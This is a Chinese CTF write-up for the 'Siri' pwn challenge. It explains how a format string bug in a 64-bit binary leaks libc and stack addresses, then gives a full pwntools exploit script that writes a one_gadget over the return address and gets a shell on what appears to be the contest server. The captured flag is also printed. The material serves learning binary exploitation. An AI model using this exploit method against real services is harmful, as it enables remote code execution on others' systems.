[强网先锋] Siri
64位程序,保护全开
程序逻辑:
1、循环,每次要输入Hey Siri!才能进入功能函数。
2、其中漏洞函数是这个sub_1212函数,这里存在格式化字符串漏洞。
思路:
a、首先用该漏洞泄露出栈和libc的地址。
前一个是libc上的地址,为__libc_start_main+231的地址。(这里我一直用libc2.23的环境来调,但是libc2.23和libc2.27的环境有些不一样,在libc2.23的环境中,这里是__libc_start_main+240,所以调了好久。)
后一个为上一个栈帧的rbp的值。
b、用该漏洞来向返回地址中填入one_gadget。但是因为这里用了sprintf来将输入的内容拷贝到s中,所以会发生”\x00”阶段,因此得多次向返回地址写地址,这里选择写在main函数存返回地址的地方。这部分的脚本写的有点丑,需要执行多几次。
c、然后需要跳出循环,才能够执行one_gadget。这里我选择修改sub_1212函数的返回地址,
可以看出返回地址是0x4c结尾的。写完后就成功getshelll了
我们需要执行到的地址是以0xc1结尾的,因此只需要改掉最后一个字节即可。
完整代码:
from pwn import * context.clear(arch = 'amd64') context.terminal = ['tmux', 'splitw', '-h'] context.log_level = "debug" #p = process("./Siri") p = remote("123.56.170.202", 12124) elf = ELF("./Siri") #gdb.attach(p) def Siri(): p.sendlineafter(">>> ", "Hey Siri!") exp = "Remind me to bbbbb" Siri() p.sendlineafter(">>> ", exp + "%83$p" + "%46$p") p.recvuntil("bbbbb") libc = int(p.recv(14), 16) stack = int(p.recv(14), 16) libc_base = libc - (0x21ab0 + 231) rip_addr = stack + 0x8 one = libc_base + 0x10a45c print "libc: " + hex(libc_base) print "libc: " + hex(rip_addr) k = [] for i in range(2,14,2): k.append(int(hex(one)[i:i+2], 16)) for i in range(6): a = k[i] - 0x1d if(a < 0): k[i] = a + 256 elif(a >= 100 ): k[i] = a + 1 elif(a >=0 and a < 10): k[i] = a - 1 else: k[i] = a for i in range(6): Siri() poc = "Remind me to b" + "b" * (3 - len(str(k[i]))) + "%" + str(k[i]) + "c%15$hhn" + p64(rip_addr + 5 - i) p.sendlineafter(">>> ", poc) sleep(1) Siri() poc = "Remind me to b" + "%165c%15$hhn" + p64(stack - 0x118) p.sendlineafter(">>> ", poc.ljust(0xf0, "\x00")) p.interactive()
flag{957192265275077f73d0ea1dea5f27f9}
打赏还是打残,这是个问题
没有帐号? 立即注册